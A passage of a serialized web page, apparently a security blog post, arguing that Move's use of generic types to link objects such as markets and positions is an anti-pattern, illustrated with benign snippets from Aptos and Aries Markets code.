",{"type":24,"tag":101,"props":8108,"children":8111},{"href":8109,"rel":8110},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[105],[8112],{"type":29,"value":8113},"at the vm level",{"type":29,"value":8115},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":24,"tag":25,"props":8117,"children":8118},{},[8119,8121,8127,8129,8135,8137,8143,8144,8150],{"type":29,"value":8120},"In pseucode, this checks that ",{"type":24,"tag":154,"props":8122,"children":8124},{"className":8123},[],[8125],{"type":29,"value":8126},"coin_x.type",{"type":29,"value":8128}," is equal to ",{"type":24,"tag":154,"props":8130,"children":8132},{"className":8131},[],[8133],{"type":29,"value":8134},"pool.x_type",{"type":29,"value":8136},", and ",{"type":24,"tag":154,"props":8138,"children":8140},{"className":8139},[],[8141],{"type":29,"value":8142},"coin_y.type",{"type":29,"value":8128},{"type":24,"tag":154,"props":8145,"children":8147},{"className":8146},[],[8148],{"type":29,"value":8149},"pool.y_type",{"type":29,"value":347},{"type":24,"tag":25,"props":8152,"children":8153},{},[8154],{"type":29,"value":8155},"This type system has two advantages",{"type":24,"tag":1786,"props":8157,"children":8158},{},[8159,8171],{"type":24,"tag":1790,"props":8160,"children":8161},{},[8162,8164,8169],{"type":29,"value":8163},"It's required. The type parameter ",{"type":24,"tag":32,"props":8165,"children":8166},{},[8167],{"type":29,"value":8168},"must",{"type":29,"value":8170}," be specified so it's impossible to forget such a constraint",{"type":24,"tag":1790,"props":8172,"children":8173},{},[8174],{"type":29,"value":8175},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":24,"tag":25,"props":8177,"children":8178},{},[8179],{"type":29,"value":8180},"However, this system isn't perfect.",{"type":24,"tag":25,"props":8182,"children":8183},{},[8184,8186,8191],{"type":29,"value":8185},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":24,"tag":897,"props":8187,"children":8188},{},[8189],{"type":29,"value":8190},"an anti-pattern",{"type":29,"value":347},{"type":24,"tag":25,"props":8193,"children":8194},{},[8195,8197,8203],{"type":29,"value":8196},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":24,"tag":154,"props":8198,"children":8200},{"className":8199},[],[8201],{"type":29,"value":8202},"CoinInfo\u003CCoinType>",{"type":29,"value":347},{"type":24,"tag":147,"props":8205,"children":8207},{"className":151,"code":8206,"language":150,"meta":7,"style":7}," fun initialize_internal\u003CCoinType>(\n // ...\n ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n // ...\n\n assert!(\n !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n );\n",[8208],{"type":24,"tag":154,"props":8209,"children":8210},{"__ignoreMap":7},[8211,8237,8245,8314,8321,8328,8340,8383,8405],{"type":24,"tag":158,"props":8212,"children":8213},{"class":160,"line":161},[8214,8218,8223,8227,8232],{"type":24,"tag":158,"props":8215,"children":8216},{"style":177},[8217],{"type":29,"value":4213},{"type":24,"tag":158,"props":8219,"children":8220},{"style":177},[8221],{"type":29,"value":8222}," initialize_internal",{"type":24,"tag":158,"props":8224,"children":8225},{"style":188},[8226],{"type":29,"value":3760},{"type":24,"tag":158,"props":8228,"children":8229},{"style":171},[8230],{"type":29,"value":8231},"CoinType",{"type":24,"tag":158,"props":8233,"children":8234},{"style":188},[8235],{"type":29,"value":8236},">(\n",{"type":24,"tag":158,"props":8238,"children":8239},{"class":160,"line":213},[8240],{"type":24,"tag":158,"props":8241,"children":8242},{"style":2588},[8243],{"type":29,"value":8244}," // ...\n",{"type":24,"tag":158,"props":8246,"children":8247},{"class":160,"line":238},[8248,8253,8257,8261,8266,8270,8274,8279,8284,8288,8292,8296,8301,8305,8309],{"type":24,"tag":158,"props":8249,"children":8250},{"style":188},[8251],{"type":29,"value":8252}," )",{"type":24,"tag":158,"props":8254,"children":8255},{"style":222},[8256],{"type":29,"value":225},{"type":24,"tag":158,"props":8258,"children":8259},{"style":188},[8260],{"type":29,"value":2262},{"type":24,"tag":158,"props":8262,"children":8263},{"style":171},[8264],{"type":29,"value":8265},"BurnCapability",{"type":24,"tag":158,"props":8267,"children":8268},{"style":188},[8269],{"type":29,"value":3760},{"type":24,"tag":158,"props":8271,"children":8272},{"style":171},[8273],{"type":29,"value":8231},{"type":24,"tag":158,"props":8275,"children":8276},{"style":188},[8277],{"type":29,"value":8278},">, ",{"type":24,"tag":158,"props":8280,"children":8281},{"style":171},[8282],{"type":29,"value":8283},"FreezeCapability",{"type":24,"tag":158,"props":8285,"children":8286},{"style":188},[8287],{"type":29,"value":3760},{"type":24,"tag":158,"props":8289,"children":8290},{"style":171},[8291],{"type":29,"value":8231},{"type":24,"tag":158,"props":8293,"children":8294},{"style":188},[8295],{"type":29,"value":8278},{"type":24,"tag":158,"props":8297,"children":8298},{"style":171},[8299],{"type":29,"value":8300},"MintCapability",{"type":24,"tag":158,"props":8302,"children":8303},{"style":188},[8304],{"type":29,"value":3760},{"type":24,"tag":158,"props":8306,"children":8307},{"style":171},[8308],{"type":29,"value":8231},{"type":24,"tag":158,"props":8310,"children":8311},{"style":188},[8312],{"type":29,"value":8313},">) {\n",{"type":24,"tag":158,"props":8315,"children":8316},{"class":160,"line":259},[8317],{"type":24,"tag":158,"props":8318,"children":8319},{"style":2588},[8320],{"type":29,"value":8244},{"type":24,"tag":158,"props":8322,"children":8323},{"class":160,"line":280},[8324],{"type":24,"tag":158,"props":8325,"children":8326},{"emptyLinePlaceholder":16},[8327],{"type":29,"value":481},{"type":24,"tag":158,"props":8329,"children":8330},{"class":160,"line":301},[8331,8336],{"type":24,"tag":158,"props":8332,"children":8333},{"style":496},[8334],{"type":29,"value":8335}," assert!",{"type":24,"tag":158,"props":8337,"children":8338},{"style":188},[8339],{"type":29,"value":2156},{"type":24,"tag":158,"props":8341,"children":8342},{"class":160,"line":626},[8343,8348,8352,8356,8361,8365,8369,8373,8378],{"type":24,"tag":158,"props":8344,"children":8345},{"style":222},[8346],{"type":29,"value":8347}," !",{"type":24,"tag":158,"props":8349,"children":8350},{"style":177},[8351],{"type":29,"value":3755},{"type":24,"tag":158,"props":8353,"children":8354},{"style":188},[8355],{"type":29,"value":3760},{"type":24,"tag":158,"props":8357,"children":8358},{"style":171},[8359],{"type":29,"value":8360},"CoinInfo",{"type":24,"tag":158,"props":8362,"children":8363},{"style":188},[8364],{"type":29,"value":3760},{"type":24,"tag":158,"props":8366,"children":8367},{"style":171},[8368],{"type":29,"value":8231},{"type":24,"tag":158,"props":8370,"children":8371},{"style":188},[8372],{"type":29,"value":3779},{"type":24,"tag":158,"props":8374,"children":8375},{"style":177},[8376],{"type":29,"value":8377},"account_addr",{"type":24,"tag":158,"props":8379,"children":8380},{"style":188},[8381],{"type":29,"value":8382},"),\n",{"type":24,"tag":158,"props":8384,"children":8385},{"class":160,"line":668},[8386,8391,8395,8400],{"type":24,"tag":158,"props":8387,"children":8388},{"style":188},[8389],{"type":29,"value":8390}," error",{"type":24,"tag":158,"props":8392,"children":8393},{"style":222},[8394],{"type":29,"value":2146},{"type":24,"tag":158,"props":8396,"children":8397},{"style":496},[8398],{"type":29,"value":8399},"already_exists",{"type":24,"tag":158,"props":8401,"children":8402},{"style":188},[8403],{"type":29,"value":8404},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":24,"tag":158,"props":8406,"children":8407},{"class":160,"line":676},[8408],{"type":24,"tag":158,"props":8409,"children":8410},{"style":188},[8411],{"type":29,"value":2287},{"type":24,"tag":25,"props":8413,"children":8414},{},[8415,8417,8422],{"type":29,"value":8416},"While this ",{"type":24,"tag":154,"props":8418,"children":8420},{"className":8419},[],[8421],{"type":29,"value":8360},{"type":29,"value":8423}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":24,"tag":25,"props":8425,"children":8426},{},[8427,8429,8435],{"type":29,"value":8428},"Similarly, consider ",{"type":24,"tag":101,"props":8430,"children":8433},{"href":8431,"rel":8432},"https://ariesmarkets.xyz/",[105],[8434],{"type":29,"value":4172},{"type":29,"value":8436},", a lending/borrowing protocol building on Aptos.",{"type":24,"tag":25,"props":8438,"children":8439},{},[8440,8442,8448],{"type":29,"value":8441},"Their ",{"type":24,"tag":154,"props":8443,"children":8445},{"className":8444},[],[8446],{"type":29,"value":8447},"ReserveCoinContainer",{"type":29,"value":8449}," struct stores all the relevant data and resources for managing a lending market.",{"type":24,"tag":147,"props":8451,"children":8453},{"className":151,"code":8452,"language":150,"meta":7,"style":7}," /// The struct to hold all the underlying `Coin`s.\n /// Stored as a resources.\n struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n /// Stores the available `Coin`.\n underlying_coin: Coin\u003CCoin0>,\n /// Stores the LP `Coin` that act as collateral.\n collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n /// Mint capability for LP Coin.\n mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n /// Burn capability for LP Coin.\n burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n // ...\n }\n\n",[8454],{"type":24,"tag":154,"props":8455,"children":8456},{"__ignoreMap":7},[8457,8465,8473,8514,8522,8551,8559,8596,8604,8641,8649,8686,8693,8700],{"type":24,"tag":158,"props":8458,"children":8459},{"class":160,"line":161},[8460],{"type":24,"tag":158,"props":8461,"children":8462},{"style":2588},[8463],{"type":29,"value":8464}," /// The struct to hold all the underlying `Coin`s.\n",{"type":24,"tag":158,"props":8466,"children":8467},{"class":160,"line":213},[8468],{"type":24,"tag":158,"props":8469,"children":8470},{"style":2588},[8471],{"type":29,"value":8472}," /// Stored as a resources.\n",{"type":24,"tag":158,"props":8474,"children":8475},{"class":160,"line":238},[8476,8480,8485,8489,8493,8498,8502,8506,8510],{"type":24,"tag":158,"props":8477,"children":8478},{"style":165},[8479],{"type":29,"value":7449},{"type":24,"tag":158,"props":8481,"children":8482},{"style":171},[8483],{"type":29,"value":8484}," ReserveCoinContainer",{"type":24,"tag":158,"props":8486,"children":8487},{"style":188},[8488],{"type":29,"value":3760},{"type":24,"tag":158,"props":8490,"children":8491},{"style":177},[8492],{"type":29,"value":7463},{"type":24,"tag":158,"props":8494,"children":8495},{"style":171},[8496],{"type":29,"value":8497}," Coin0",{"type":24,"tag":158,"props":8499,"children":8500},{"style":188},[8501],{"type":29,"value":7473},{"type":24,"tag":158,"props":8503,"children":8504},{"style":177},[8505],{"type":29,"value":7478},{"type":24,"tag":158,"props":8507,"children":8508},{"style":177},[8509],{"type":29,"value":7582},{"type":24,"tag":158,"props":8511,"children":8512},{"style":188},[8513],{"type":29,"value":210},{"type":24,"tag":158,"props":8515,"children":8516},{"class":160,"line":259},[8517],{"type":24,"tag":158,"props":8518,"children":8519},{"style":2588},[8520],{"type":29,"value":8521}," /// Stores the available `Coin`.\n",{"type":24,"tag":158,"props":8523,"children":8524},{"class":160,"line":280},[8525,8530,8534,8538,8542,8547],{"type":24,"tag":158,"props":8526,"children":8527},{"style":177},[8528],{"type":29,"value":8529}," underlying_coin",{"type":24,"tag":158,"props":8531,"children":8532},{"style":222},[8533],{"type":29,"value":225},{"type":24,"tag":158,"props":8535,"children":8536},{"style":171},[8537],{"type":29,"value":7454},{"type":24,"tag":158,"props":8539,"children":8540},{"style":188},[8541],{"type":29,"value":3760},{"type":24,"tag":158,"props":8543,"children":8544},{"style":171},[8545],{"type":29,"value":8546},"Coin0",{"type":24,"tag":158,"props":8548,"children":8549},{"style":188},[8550],{"type":29,"value":7788},{"type":24,"tag":158,"props":8552,"children":8553},{"class":160,"line":301},[8554],{"type":24,"tag":158,"props":8555,"children":8556},{"style":2588},[8557],{"type":29,"value":8558}," /// Stores the LP `Coin` that act as collateral.\n",{"type":24,"tag":158,"props":8560,"children":8561},{"class":160,"line":626},[8562,8567,8571,8575,8579,8583,8587,8591],{"type":24,"tag":158,"props":8563,"children":8564},{"style":177},[8565],{"type":29,"value":8566}," collateralised_lp_coin",{"type":24,"tag":158,"props":8568,"children":8569},{"style":222},[8570],{"type":29,"value":225},{"type":24,"tag":158,"props":8572,"children":8573},{"style":171},[8574],{"type":29,"value":7454},{"type":24,"tag":158,"props":8576,"children":8577},{"style":188},[8578],{"type":29,"value":3760},{"type":24,"tag":158,"props":8580,"children":8581},{"style":171},[8582],{"type":29,"value":7984},{"type":24,"tag":158,"props":8584,"children":8585},{"style":188},[8586],{"type":29,"value":3760},{"type":24,"tag":158,"props":8588,"children":8589},{"style":171},[8590],{"type":29,"value":8546},{"type":24,"tag":158,"props":8592,"children":8593},{"style":188},[8594],{"type":29,"value":8595},">>,\n",{"type":24,"tag":158,"props":8597,"children":8598},{"class":160,"line":668},[8599],{"type":24,"tag":158,"props":8600,"children":8601},{"style":2588},[8602],{"type":29,"value":8603}," /// Mint capability for LP Coin.\n",{"type":24,"tag":158,"props":8605,"children":8606},{"class":160,"line":676},[8607,8612,8616,8621,8625,8629,8633,8637],{"type":24,"tag":158,"props":8608,"children":8609},{"style":177},[8610],{"type":29,"value":8611}," mint_capability",{"type":24,"tag":158,"props":8613,"children":8614},{"style":222},[8615],{"type":29,"value":225},{"type":24,"tag":158,"props":8617,"children":8618},{"style":171},[8619],{"type":29,"value":8620}," MintCapability",{"type":24,"tag":158,"props":8622,"children":8623},{"style":188},[8624],{"type":29,"value":3760},{"type":24,"tag":158,"props":8626,"children":8627},{"style":171},[8628],{"type":29,"value":7984},{"type":24,"tag":158,"props":8630,"children":8631},{"style":188},[8632],{"type":29,"value":3760},{"type":24,"tag":158,"props":8634,"children":8635},{"style":171},[8636],{"type":29,"value":8546},{"type":24,"tag":158,"props":8638,"children":8639},{"style":188},[8640],{"type":29,"value":8595},{"type":24,"tag":158,"props":8642,"children":8643},{"class":160,"line":684},[8644],{"type":24,"tag":158,"props":8645,"children":8646},{"style":2588},[8647],{"type":29,"value":8648}," /// Burn capability for LP Coin.\n",{"type":24,"tag":158,"props":8650,"children":8651},{"class":160,"line":700},[8652,8657,8661,8666,8670,8674,8678,8682],{"type":24,"tag":158,"props":8653,"children":8654},{"style":177},[8655],{"type":29,"value":8656}," burn_capability",{"type":24,"tag":158,"props":8658,"children":8659},{"style":222},[8660],{"type":29,"value":225},{"type":24,"tag":158,"props":8662,"children":8663},{"style":171},[8664],{"type":29,"value":8665}," BurnCapability",{"type":24,"tag":158,"props":8667,"children":8668},{"style":188},[8669],{"type":29,"value":3760},{"type":24,"tag":158,"props":8671,"children":8672},{"style":171},[8673],{"type":29,"value":7984},{"type":24,"tag":158,"props":8675,"children":8676},{"style":188},[8677],{"type":29,"value":3760},{"type":24,"tag":158,"props":8679,"children":8680},{"style":171},[8681],{"type":29,"value":8546},{"type":24,"tag":158,"props":8683,"children":8684},{"style":188},[8685],{"type":29,"value":8595},{"type":24,"tag":158,"props":8687,"children":8688},{"class":160,"line":785},[8689],{"type":24,"tag":158,"props":8690,"children":8691},{"emptyLinePlaceholder":16},[8692],{"type":29,"value":481},{"type":24,"tag":158,"props":8694,"children":8695},{"class":160,"line":1447},[8696],{"type":24,"tag":158,"props":8697,"children":8698},{"style":2588},[8699],{"type":29,"value":8244},{"type":24,"tag":158,"props":8701,"children":8702},{"class":160,"line":1509},[8703],{"type":24,"tag":158,"props":8704,"children":8705},{"style":188},[8706],{"type":29,"value":4366},{"type":24,"tag":25,"props":8708,"children":8709},{},[8710,8712,8717],{"type":29,"value":8711},"When creating a ",{"type":24,"tag":154,"props":8713,"children":8715},{"className":8714},[],[8716],{"type":29,"value":8447},{"type":29,"value":8718},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":24,"tag":147,"props":8720,"children":8722},{"className":151,"code":8721,"language":150,"meta":7,"style":7}," public(friend) fun create\u003CCoin0>(\n lp_store: &signer,\n // ...\n ) acquires Reserves {\n lp::assert_is_lp_store(signer::address_of(lp_store));\n\n // ...\n\n move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n // ...\n });\n",[8723],{"type":24,"tag":154,"props":8724,"children":8725},{"__ignoreMap":7},[8726,8768,8794,8801,8822,8865,8872,8879,8886,8923,8930],{"type":24,"tag":158,"props":8727,"children":8728},{"class":160,"line":161},[8729,8734,8738,8743,8747,8751,8756,8760,8764],{"type":24,"tag":158,"props":8730,"children":8731},{"style":496},[8732],{"type":29,"value":8733}," public",{"type":24,"tag":158,"props":8735,"children":8736},{"style":188},[8737],{"type":29,"value":504},{"type":24,"tag":158,"props":8739,"children":8740},{"style":177},[8741],{"type":29,"value":8742},"friend",{"type":24,"tag":158,"props":8744,"children":8745},{"style":188},[8746],{"type":29,"value":723},{"type":24,"tag":158,"props":8748,"children":8749},{"style":177},[8750],{"type":29,"value":2861},{"type":24,"tag":158,"props":8752,"children":8753},{"style":177},[8754],{"type":29,"value":8755}," create",{"type":24,"tag":158,"props":8757,"children":8758},{"style":188},[8759],{"type":29,"value":3760},{"type":24,"tag":158,"props":8761,"children":8762},{"style":171},[8763],{"type":29,"value":8546},{"type":24,"tag":158,"props":8765,"children":8766},{"style":188},[8767],{"type":29,"value":8236},{"type":24,"tag":158,"props":8769,"children":8770},{"class":160,"line":213},[8771,8776,8780,8785,8790],{"type":24,"tag":158,"props":8772,"children":8773},{"style":177},[8774],{"type":29,"value":8775}," lp_store",{"type":24,"tag":158,"props":8777,"children":8778},{"style":222},[8779],{"type":29,"value":225},{"type":24,"tag":158,"props":8781,"children":8782},{"style":222},[8783],{"type":29,"value":8784}," &",{"type":24,"tag":158,"props":8786,"children":8787},{"style":177},[8788],{"type":29,"value":8789},"signer",{"type":24,"tag":158,"props":8791,"children":8792},{"style":188},[8793],{"type":29,"value":235},{"type":24,"tag":158,"props":8795,"children":8796},{"class":160,"line":238},[8797],{"type":24,"tag":158,"props":8798,"children":8799},{"style":2588},[8800],{"type":29,"value":8244},{"type":24,"tag":158,"props":8802,"children":8803},{"class":160,"line":259},[8804,8809,8813,8818],{"type":24,"tag":158,"props":8805,"children":8806},{"style":188},[8807],{"type":29,"value":8808}," ) ",{"type":24,"tag":158,"props":8810,"children":8811},{"style":177},[8812],{"type":29,"value":4286},{"type":24,"tag":158,"props":8814,"children":8815},{"style":171},[8816],{"type":29,"value":8817}," Reserves",{"type":24,"tag":158,"props":8819,"children":8820},{"style":188},[8821],{"type":29,"value":210},{"type":24,"tag":158,"props":8823,"children":8824},{"class":160,"line":280},[8825,8830,8834,8839,8844,8848,8852,8856,8861],{"type":24,"tag":158,"props":8826,"children":8827},{"style":188},[8828],{"type":29,"value":8829}," lp",{"type":24,"tag":158,"props":8831,"children":8832},{"style":222},[8833],{"type":29,"value":2146},{"type":24,"tag":158,"props":8835,"children":8836},{"style":496},[8837],{"type":29,"value":8838},"assert_is_lp_store",{"type":24,"tag":158,"props":8840,"children":8841},{"style":188},[8842],{"type":29,"value":8843},"(signer",{"type":24,"tag":158,"props":8845,"children":8846},{"style":222},[8847],{"type":29,"value":2146},{"type":24,"tag":158,"props":8849,"children":8850},{"style":496},[8851],{"type":29,"value":3835},{"type":24,"tag":158,"props":8853,"children":8854},{"style":188},[8855],{"type":29,"value":504},{"type":24,"tag":158,"props":8857,"children":8858},{"style":177},[8859],{"type":29,"value":8860},"lp_store",{"type":24,"tag":158,"props":8862,"children":8863},{"style":188},[8864],{"type":29,"value":3849},{"type":24,"tag":158,"props":8866,"children":8867},{"class":160,"line":301},[8868],{"type":24,"tag":158,"props":8869,"children":8870},{"emptyLinePlaceholder":16},[8871],{"type":29,"value":481},{"type":24,"tag":158,"props":8873,"children":8874},{"class":160,"line":626},[8875],{"type":24,"tag":158,"props":8876,"children":8877},{"style":2588},[8878],{"type":29,"value":8244},{"type":24,"tag":158,"props":8880,"children":8881},{"class":160,"line":668},[8882],{"type":24,"tag":158,"props":8883,"children":8884},{"emptyLinePlaceholder":16},[8885],{"type":29,"value":481},{"type":24,"tag":158,"props":8887,"children":8888},{"class":160,"line":676},[8889,8894,8898,8902,8906,8910,8914,8918],{"type":24,"tag":158,"props":8890,"children":8891},{"style":496},[8892],{"type":29,"value":8893}," move_to",{"type":24,"tag":158,"props":8895,"children":8896},{"style":188},[8897],{"type":29,"value":504},{"type":24,"tag":158,"props":8899,"children":8900},{"style":177},[8901],{"type":29,"value":8860},{"type":24,"tag":158,"props":8903,"children":8904},{"style":188},[8905],{"type":29,"value":191},{"type":24,"tag":158,"props":8907,"children":8908},{"style":171},[8909],{"type":29,"value":8447},{"type":24,"tag":158,"props":8911,"children":8912},{"style":188},[8913],{"type":29,"value":3760},{"type":24,"tag":158,"props":8915,"children":8916},{"style":171},[8917],{"type":29,"value":8546},{"type":24,"tag":158,"props":8919,"children":8920},{"style":188},[8921],{"type":29,"value":8922},"> {\n",{"type":24,"tag":158,"props":8924,"children":8925},{"class":160,"line":684},[8926],{"type":24,"tag":158,"props":8927,"children":8928},{"style":2588},[8929],{"type":29,"value":7825},{"type":24,"tag":158,"props":8931,"children":8932},{"class":160,"line":700},[8933],{"type":24,"tag":158,"props":8934,"children":8935},{"style":188},[8936],{"type":29,"value":8937}," });\n",{"type":24,"tag":25,"props":8939,"children":8940},{},[8941],{"type":29,"value":8942},"In both these instances, type association only works because we create exactly one instance per type.",{"type":24,"tag":25,"props":8944,"children":8945},{},[8946,8948,8954,8956,8962,8964,8969],{"type":29,"value":8947},"On the other hand, consider if you have a ",{"type":24,"tag":154,"props":8949,"children":8951},{"className":8950},[],[8952],{"type":29,"value":8953},"Position\u003CT>",{"type":29,"value":8955}," and a ",{"type":24,"tag":154,"props":8957,"children":8959},{"className":8958},[],[8960],{"type":29,"value":8961},"Market\u003CT>",{"type":29,"value":8963}," where ",{"type":24,"tag":154,"props":8965,"children":8967},{"className":8966},[],[8968],{"type":29,"value":7637},{"type":29,"value":8970}," is the coin type.",{"type":24,"tag":147,"props":8972,"children":8974},{"className":151,"code":8973,"language":150,"meta":7,"style":7}," struct Market\u003Cphantom T> {\n reserves: Coin\u003CT>,\n // ...\n }\n\n struct Position\u003Cphantom T> {\n amount: u64,\n // ...\n }\n",[8975],{"type":24,"tag":154,"props":8976,"children":8977},{"__ignoreMap":7},[8978,9006,9034,9041,9048,9055,9083,9103,9110],{"type":24,"tag":158,"props":8979,"children":8980},{"class":160,"line":161},[8981,8985,8990,8994,8998,9002],{"type":24,"tag":158,"props":8982,"children":8983},{"style":165},[8984],{"type":29,"value":7702},{"type":24,"tag":158,"props":8986,"children":8987},{"style":171},[8988],{"type":29,"value":8989}," Market",{"type":24,"tag":158,"props":8991,"children":8992},{"style":188},[8993],{"type":29,"value":3760},{"type":24,"tag":158,"props":8995,"children":8996},{"style":177},[8997],{"type":29,"value":7463},{"type":24,"tag":158,"props":8999,"children":9000},{"style":171},[9001],{"type":29,"value":7569},{"type":24,"tag":158,"props":9003,"children":9004},{"style":188},[9005],{"type":29,"value":8922},{"type":24,"tag":158,"props":9007,"children":9008},{"class":160,"line":213},[9009,9014,9018,9022,9026,9030],{"type":24,"tag":158,"props":9010,"children":9011},{"style":177},[9012],{"type":29,"value":9013}," reserves",{"type":24,"tag":158,"props":9015,"children":9016},{"style":222},[9017],{"type":29,"value":225},{"type":24,"tag":158,"props":9019,"children":9020},{"style":171},[9021],{"type":29,"value":7454},{"type":24,"tag":158,"props":9023,"children":9024},{"style":188},[9025],{"type":29,"value":3760},{"type":24,"tag":158,"props":9027,"children":9028},{"style":171},[9029],{"type":29,"value":7637},{"type":24,"tag":158,"props":9031,"children":9032},{"style":188},[9033],{"type":29,"value":7788},{"type":24,"tag":158,"props":9035,"children":9036},{"class":160,"line":238},[9037],{"type":24,"tag":158,"props":9038,"children":9039},{"style":2588},[9040],{"type":29,"value":7825},{"type":24,"tag":158,"props":9042,"children":9043},{"class":160,"line":259},[9044],{"type":24,"tag":158,"props":9045,"children":9046},{"style":188},[9047],{"type":29,"value":3967},{"type":24,"tag":158,"props":9049,"children":9050},{"class":160,"line":280},[9051],{"type":24,"tag":158,"props":9052,"children":9053},{"emptyLinePlaceholder":16},[9054],{"type":29,"value":481},{"type":24,"tag":158,"props":9056,"children":9057},{"class":160,"line":301},[9058,9062,9067,9071,9075,9079],{"type":24,"tag":158,"props":9059,"children":9060},{"style":165},[9061],{"type":29,"value":7702},{"type":24,"tag":158,"props":9063,"children":9064},{"style":171},[9065],{"type":29,"value":9066}," Position",{"type":24,"tag":158,"props":9068,"children":9069},{"style":188},[9070],{"type":29,"value":3760},{"type":24,"tag":158,"props":9072,"children":9073},{"style":177},[9074],{"type":29,"value":7463},{"type":24,"tag":158,"props":9076,"children":9077},{"style":171},[9078],{"type":29,"value":7569},{"type":24,"tag":158,"props":9080,"children":9081},{"style":188},[9082],{"type":29,"value":8922},{"type":24,"tag":158,"props":9084,"children":9085},{"class":160,"line":626},[9086,9091,9095,9099],{"type":24,"tag":158,"props":9087,"children":9088},{"style":177},[9089],{"type":29,"value":9090}," amount",{"type":24,"tag":158,"props":9092,"children":9093},{"style":222},[9094],{"type":29,"value":225},{"type":24,"tag":158,"props":9096,"children":9097},{"style":171},[9098],{"type":29,"value":230},{"type":24,"tag":158,"props":9100,"children":9101},{"style":188},[9102],{"type":29,"value":235},{"type":24,"tag":158,"props":9104,"children":9105},{"class":160,"line":668},[9106],{"type":24,"tag":158,"props":9107,"children":9108},{"style":2588},[9109],{"type":29,"value":7825},{"type":24,"tag":158,"props":9111,"children":9112},{"class":160,"line":676},[9113],{"type":24,"tag":158,"props":9114,"children":9115},{"style":188},[9116],{"type":29,"value":3967},{"type":24,"tag":25,"props":9118,"children":9119},{},[9120,9122,9127,9129,9134],{"type":29,"value":9121},"If ",{"type":24,"tag":154,"props":9123,"children":9125},{"className":9124},[],[9126],{"type":29,"value":8961},{"type":29,"value":9128}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":24,"tag":154,"props":9130,"children":9132},{"className":9131},[],[9133],{"type":29,"value":7637},{"type":29,"value":9135}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":24,"tag":25,"props":9137,"children":9138},{},[9139],{"type":29,"value":9140},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":24,"tag":147,"props":9142,"children":9144},{"className":151,"code":9143,"language":150,"meta":7,"style":7}," /// Get the price of the token per lamport.\n public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n let oracle = borrow_global_mut\u003COracle>(@oracle);\n let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n &mut oracle.prices,\n type_info,\n decimal::one()\n );\n *price\n }\n",[9145],{"type":24,"tag":154,"props":9146,"children":9147},{"__ignoreMap":7},[9148,9156,9218,9266,9318,9343,9355,9377,9385,9398],{"type":24,"tag":158,"props":9149,"children":9150},{"class":160,"line":161},[9151],{"type":24,"tag":158,"props":9152,"children":9153},{"style":2588},[9154],{"type":29,"value":9155}," /// Get the price of the token per lamport.\n",{"type":24,"tag":158,"props":9157,"children":9158},{"class":160,"line":213},[9159,9164,9168,9173,9177,9182,9186,9191,9195,9199,9204,9209,9214],{"type":24,"tag":158,"props":9160,"children":9161},{"style":177},[9162],{"type":29,"value":9163}," public",{"type":24,"tag":158,"props":9165,"children":9166},{"style":177},[9167],{"type":29,"value":493},{"type":24,"tag":158,"props":9169,"children":9170},{"style":496},[9171],{"type":29,"value":9172}," get_price",{"type":24,"tag":158,"props":9174,"children":9175},{"style":188},[9176],{"type":29,"value":504},{"type":24,"tag":158,"props":9178,"children":9179},{"style":177},[9180],{"type":29,"value":9181},"type_info",{"type":24,"tag":158,"props":9183,"children":9184},{"style":222},[9185],{"type":29,"value":225},{"type":24,"tag":158,"props":9187,"children":9188},{"style":171},[9189],{"type":29,"value":9190}," TypeInfo",{"type":24,"tag":158,"props":9192,"children":9193},{"style":188},[9194],{"type":29,"value":521},{"type":24,"tag":158,"props":9196,"children":9197},{"style":222},[9198],{"type":29,"value":225},{"type":24,"tag":158,"props":9200,"children":9201},{"style":171},[9202],{"type":29,"value":9203}," Decimal",{"type":24,"tag":158,"props":9205,"children":9206},{"style":177},[9207],{"type":29,"value":9208}," acquires",{"type":24,"tag":158,"props":9210,"children":9211},{"style":171},[9212],{"type":29,"value":9213}," Oracle",{"type":24,"tag":158,"props":9215,"children":9216},{"style":188},[9217],{"type":29,"value":210},{"type":24,"tag":158,"props":9219,"children":9220},{"class":160,"line":238},[9221,9225,9230,9234,9239,9243,9248,9252,9257,9262],{"type":24,"tag":158,"props":9222,"children":9223},{"style":165},[9224],{"type":29,"value":4732},{"type":24,"tag":158,"props":9226,"children":9227},{"style":177},[9228],{"type":29,"value":9229}," oracle",{"type":24,"tag":158,"props":9231,"children":9232},{"style":222},[9233],{"type":29,"value":462},{"type":24,"tag":158,"props":9235,"children":9236},{"style":177},[9237],{"type":29,"value":9238}," 